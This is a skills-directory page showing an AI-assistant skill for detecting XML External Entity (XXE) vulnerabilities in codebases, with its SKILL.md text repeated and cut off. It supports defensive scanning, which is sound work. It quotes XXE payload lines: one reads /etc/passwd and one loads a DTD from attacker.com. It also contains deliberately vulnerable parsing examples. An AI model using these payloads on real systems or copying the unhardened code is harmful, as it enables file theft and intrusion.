/sast-xxe
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch
$ npx -y skills add utkusen/sast-skills --skill sast-xxe --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/sast-xxe
Context preview
The summary Claude sees to decide when to auto-load this skill.
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch
SKILL.md
sast-xxe.SKILL.mdname: sast-xxe
description: >-
Detect XML External Entity (XXE) vulnerabilities in a codebase using a
three-phase approach: recon (find XML parsing sites without external-entity
hardening), batched verify (trace user input to each site in parallel
subagents, 3 sites each), and merge (consolidate batch results). Requires
sast/architecture.md (run sast-analysis first). Outputs findings to
sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find XML parsing sites where external entities are not safely disabled), **batched verify** (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
What XXE IS
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
- XInclude injection when XInclude processing is enabled
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
- Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
What XXE is NOT
Do not flag these as XXE:
- **XSS via XML**: XML data rendered as HTML without escaping — that's XSS
- **SSRF via non-XML**: HTTP requests triggered by other mechanisms — that's SSRF
- **XML parsing of fully server-controlled data**: Config files, bundled resources, migration scripts with no user influence — not exploitable
- **Safe parsers**: Libraries that disable external entities by default and provide no way to re-enable them (e.g. `defusedxml` in Python, `nokogiri` with default settings in Ruby for untrusted input)
Patterns That Prevent XXE
When you see these patterns, the parser is likely **not vulnerable**:
**1. Disabling DTD / external entities (Java DOM)**
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);**2. Disabling external entities (Java SAX)**
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);**3. Disabling external entities (Java StAX / XMLInputFactory)**
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
**4. Python — defusedxml (always safe)**
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
**5. Python — lxml with resolve_entities=False**
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
**6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag**
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
**7. .NET — XmlReaderSettings with DtdProcessing.Prohibit**
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
**8. Node.js — xml2js (safe by default in v0.5+)**
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);---
Vulnerable vs. Secure Examples
Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tRead more
name: sast-xxe description: >- Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find XML parsing sites where external entities are not safely disabled), **batched verify** (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
What XXE IS
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
- XInclude injection when XInclude processing is enabled
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
- Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
What XXE is NOT
Do not flag these as XXE:
- **XSS via XML**: XML data rendered as HTML without escaping — that's XSS
- **SSRF via non-XML**: HTTP requests triggered by other mechanisms — that's SSRF
- **XML parsing of fully server-controlled data**: Config files, bundled resources, migration scripts with no user influence — not exploitable
- **Safe parsers**: Libraries that disable external entities by default and provide no way to re-enable them (e.g. `defusedxml` in Python, `nokogiri` with default settings in Ruby for untrusted input)
Patterns That Prevent XXE
When you see these patterns, the parser is likely **not vulnerable**:
**1. Disabling DTD / external entities (Java DOM)**
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);**2. Disabling external entities (Java SAX)**
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);**3. Disabling external entities (Java StAX / XMLInputFactory)**
XMLInputFactory xif = XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
**4. Python — defusedxml (always safe)**
import defusedxml.ElementTree as ET tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
**5. Python — lxml with resolve_entities=False**
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) tree = etree.parse(source, parser)
**6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag**
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading $doc = new DOMDocument(); $doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network // Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
**7. .NET — XmlReaderSettings with DtdProcessing.Prohibit**
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings);
**8. Node.js — xml2js (safe by default in v0.5+)**
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);---
Vulnerable vs. Secure Examples
Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tA collection of agent skills that turn your LLM coding assistant into a fully functional SAST scanner to find vulnerabilities in your codebase. Works natively with Claude Code, Codex, Opencode, Cursor and any other assistant that supports agent skills.
Repo: utkusen/sast-skills
Other skills on sast-skills.
- /sast-analysis
Perform codebase analysis and architecture mapping as the first phase of a security assessment. Explores the tech stack, frameworks, entry points, data flows, and trust boundaries. Outputs sast/architecture.md. Run this before any vulnerability detection skill. Use when asked to
Open skill - /sast-businesslogic
Detect business logic vulnerabilities in a codebase using a three-phase approach: threat modeling (domain analysis and attack scenarios), batched verify (check exploitable gaps in parallel subagents, 3 scenarios each), and merge (consolidate batch results). Covers price
Open skill - /sast-fileupload
Detect insecure file upload vulnerabilities in a codebase using a three-phase approach: discovery (find all upload sites), batched verify (check extension bypass and related issues in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires
Open skill - /sast-graphql
Detect GraphQL injection vulnerabilities in a codebase using a three-phase approach: recon (confirm GraphQL usage and find unsafe operation document assembly sites), batched verify (trace user input to those sites in parallel subagents, up to 3 candidate sites each), and merge
Open skill - /sast-hardcodedsecrets
Detect hardcoded sensitive data (API keys, access tokens, private keys, passwords, etc.) in publicly accessible code — frontend JavaScript, mobile apps, client-side bundles, and HTML templates. Uses a three-phase approach: recon (find secret candidates), batched verify (confirm
Open skill - /sast-idor
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase using a three-phase approach: recon (find candidates), batched verify (check authorization in parallel subagents, 3 candidates each), and merge (consolidate batch results). Checks endpoints for missing
Open skill

